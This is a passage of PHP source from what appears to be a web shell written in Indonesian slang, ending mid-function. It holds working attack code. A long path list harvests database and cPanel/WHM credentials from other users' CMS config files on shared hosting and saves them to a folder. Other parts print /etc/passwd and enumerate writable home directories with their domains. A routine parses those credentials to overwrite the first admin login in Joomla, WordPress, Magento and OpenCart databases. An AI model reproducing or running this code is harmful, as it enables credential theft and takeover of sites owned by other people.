1784 "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1785 "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1786 "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1787 "/home1/$user_cox/.my.cnf" => "cpanel",
1788 "/home1/$user_cox/.accesshash" => "WHM-accesshash",
1789 "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1790 "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1791 "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1792 "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1793 "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1794 "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
1795 "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1796 "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1797 "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
1798 "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
1799 "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
1800 "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
1801 "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1802 "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1803 "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
1804 "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1805 "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1806 "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
1807 "/home1/$user_cox/public_html/configuration.php" => "Joomla",
1808 "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1809 "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1810 "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1811 "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1812 "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1813 "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1814 "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1815 "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1816 "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1817 "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1818 "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1819 "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1820 "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1821 "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1822 "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1823 "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1824 "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1825 "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1826 "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1827 "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1828 "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1829 "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1830 "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1831 "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1832 "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1833 "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1834 "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1835 "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1836 "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1837 "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1838 "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1839 "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1840 "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1841 "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1842 "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1843 "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1844 "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
1845 "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1846 "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1847 "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1848 "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1849 "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1850 "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1851 "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1852 "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1853 "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1854 "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1855 "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1856 "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1857 "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1858 "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1859 "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1860 "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1861 "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1862 "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1863 "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1864 "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1865 "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1866 "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1867 "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1868 "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1869 "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1870 "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1871 "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1872 "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1873 "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1874 "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1875 "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1876 "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1877 "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1878 "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1879 "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1880 "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1881 "/home2/$user_cox/.my.cnf" => "cpanel",
1882 "/home2/$user_cox/.accesshash" => "WHM-accesshash",
1883 "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1884 "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1885 "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1886 "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1887 "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1888 "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
1889 "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1890 "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1891 "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
1892 "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
1893 "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
1894 "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
1895 "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1896 "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1897 "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
1898 "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1899 "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1900 "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
1901 "/home2/$user_cox/public_html/configuration.php" => "Joomla",
1902 "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1903 "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1904 "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1905 "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1906 "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1907 "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1908 "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1909 "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1910 "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1911 "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1912 "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1913 "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1914 "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1915 "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1916 "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1917 "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1918 "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1919 "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1920 "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1921 "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1922 "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1923 "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1924 "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1925 "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1926 "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1927 "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1928 "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1929 "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1930 "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1931 "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1932 "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1933 "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1934 "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1935 "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1936 "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1937 "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1938 "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
1939 "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1940 "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1941 "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1942 "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1943 "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1944 "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1945 "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1946 "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1947 "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1948 "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1949 "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1950 "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1951 "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1952 "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1953 "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1954 "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1955 "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1956 "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1957 "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1958 "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1959 "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1960 "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1961 "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1962 "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1963 "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1964 "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1965 "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1966 "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1967 "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1968 "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
1969 "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
1970 "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
1971 "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
1972 "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
1973 "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
1974 "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
1975 "/home3/$user_cox/.my.cnf" => "cpanel",
1976 "/home3/$user_cox/.accesshash" => "WHM-accesshash",
1977 "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1978 "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1979 "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1980 "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1981 "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1982 "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
1983 "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1984 "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1985 "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
1986 "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
1987 "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
1988 "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
1989 "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1990 "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1991 "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
1992 "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1993 "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1994 "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
1995 "/home3/$user_cox/public_html/configuration.php" => "Joomla",
1996 "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1997 "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1998 "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1999 "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
2000 "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
2001 "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
2002 "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
2003 "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
2004 "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
2005 "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
2006 "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
2007 "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
2008 "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
2009 "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
2010 "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
2011 "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
2012 "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
2013 "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
2014 "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
2015 "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
2016 "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
2017 "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
2018 "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
2019 "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
2020 "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
2021 "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
2022 "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
2023 "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
2024 "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
2025 "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
2026 "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
2027 "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
2028 "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
2029 "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
2030 "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
2031 "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
2032 "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
2033 "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
2034 "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
2035 "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
2036 "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
2037 "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
2038 "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
2039 "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
2040 "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
2041 "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
2042 "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
2043 "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
2044 "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
2045 "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
2046 "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
2047 "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
2048 "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
2049 "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
2050 "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
2051 "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
2052 "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
2053 "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
2054 "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
2055 "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
2056 "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
2057 "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
2058 "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
2059 "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
2060 "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
2061 "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
2062 "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
2063 "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
2064 "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
2065 "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
2066 "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
2067 "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
2068 "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
2069 );
2070 foreach($grab_config as $config => $nama_config) {
2071 $ambil_config = file_get_contents($config);
2072 if($ambil_config == '') {
2073 } else {
2074 $file_config = fopen("cox_config/$user_cox-$nama_config.txt","w");
2075 fputs($file_config,$ambil_config);
2076 }
2077 }
2078 }
2079 }
2080 echo "<center><a href='?dir=$dir/cox_config'><font color=lime>Done</font></a></center>";
2081 }else{
2082
2083 echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
2084 echo file_get_contents('/etc/passwd');
2085 echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
2086 }
2087} elseif($_GET['do'] == 'jumping') {
2088 $i = 0;
2089 echo "<pre><div class='margin: 5px auto;'>";
2090 $etc = fopen("/etc/passwd", "r");
2091 while($passwd = fgets($etc)) {
2092 if($passwd == '' || !$etc) {
2093 echo "<font color=red>Can't read /etc/passwd</font>";
2094 } else {
2095 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
2096 foreach($user_jumping[1] as $user_idx_jump) {
2097 $user_jumping_dir = "/home/$user_idx_jump/public_html";
2098 if(is_readable($user_jumping_dir)) {
2099 $i++;
2100 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
2101 if(is_writable($user_jumping_dir)) {
2102 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
2103 }
2104 echo $jrw;
2105 $domain_jump = file_get_contents("/etc/named.conf");
2106 if($domain_jump == '') {
2107 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
2108 } else {
2109 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
2110 foreach($domains_jump[1] as $dj) {
2111 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
2112 $user_jumping_url = $user_jumping_url['name'];
2113 if($user_jumping_url == $user_idx_jump) {
2114 echo " => ( <u>$dj</u> )<br>";
2115 break;
2116 }
2117 }
2118 }
2119 }
2120 }
2121 }
2122 }
2123 if($i == 0) {
2124 } else {
2125 echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])." :v";
2126 }
2127 echo "</div></pre>";
2128}
2129 elseif($_GET['do'] == 'auto_edit_user') {
2130 if($_POST['hajar']) {
2131 if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
2132 echo "username atau password harus lebih dari 6 karakter";
2133 } else {
2134 $user_baru = $_POST['user_baru'];
2135 $pass_baru = md5($_POST['pass_baru']);
2136 $conf = $_POST['config_dir'];
2137 $scan_conf = scandir($conf);
2138 foreach($scan_conf as $file_conf) {
2139 if(!is_file("$conf/$file_conf")) continue;
2140 $config = file_get_contents("$conf/$file_conf");
2141 if(preg_match("/JConfig|joomla/",$config)) {
2142 $dbhost = ambilkata($config,"host = '","'");
2143 $dbuser = ambilkata($config,"user = '","'");
2144 $dbpass = ambilkata($config,"password = '","'");
2145 $dbname = ambilkata($config,"db = '","'");
2146 $dbprefix = ambilkata($config,"dbprefix = '","'");
2147 $prefix = $dbprefix."users";
2148 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2149 $db = mysql_select_db($dbname);
2150 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2151 $result = mysql_fetch_array($q);
2152 $id = $result['id'];
2153 $site = ambilkata($config,"sitename = '","'");
2154 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
2155 echo "Config => ".$file_conf."<br>";
2156 echo "CMS => Joomla<br>";
2157 if($site == '') {
2158 echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
2159 } else {
2160 echo "Sitename => $site<br>";
2161 }
2162 if(!$update OR !$conn OR !$db) {
2163 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2164 } else {
2165 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2166 }
2167 mysql_close($conn);
2168 } elseif(preg_match("/WordPress/",$config)) {
2169 $dbhost = ambilkata($config,"DB_HOST', '","'");
2170 $dbuser = ambilkata($config,"DB_USER', '","'");
2171 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2172 $dbname = ambilkata($config,"DB_NAME', '","'");
2173 $dbprefix = ambilkata($config,"table_prefix = '","'");
2174 $prefix = $dbprefix."users";
2175 $option = $dbprefix."options";
2176 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2177 $db = mysql_select_db($dbname);
2178 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
2179 $result = mysql_fetch_array($q);
2180 $id = $result[ID];
2181 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2182 $result2 = mysql_fetch_array($q2);
2183 $target = $result2[option_value];
2184 if($target == '') {
2185 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2186 } else {
2187 $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
2188 }
2189 $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
2190 echo "Config => ".$file_conf."<br>";
2191 echo "CMS => Wordpress<br>";
2192 echo $url_target;
2193 if(!$update OR !$conn OR !$db) {
2194 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2195 } else {
2196 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2197 }
2198 mysql_close($conn);
2199 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
2200 $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
2201 $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
2202 $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
2203 $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
2204 $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
2205 $prefix = $dbprefix."admin_user";
2206 $option = $dbprefix."core_config_data";
2207 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2208 $db = mysql_select_db($dbname);
2209 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
2210 $result = mysql_fetch_array($q);
2211 $id = $result[user_id];
2212 $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
2213 $result2 = mysql_fetch_array($q2);
2214 $target = $result2[value];
2215 if($target == '') {
2216 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2217 } else {
2218 $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
2219 }
2220 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
2221 echo "Config => ".$file_conf."<br>";
2222 echo "CMS => Magento<br>";
2223 echo $url_target;
2224 if(!$update OR !$conn OR !$db) {
2225 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2226 } else {
2227 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2228 }
2229 mysql_close($conn);
2230 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
2231 $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
2232 $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
2233 $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
2234 $dbname = ambilkata($config,"'DB_DATABASE', '","'");
2235 $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
2236 $prefix = $dbprefix."user";
2237 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2238 $db = mysql_select_db($dbname);
2239 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
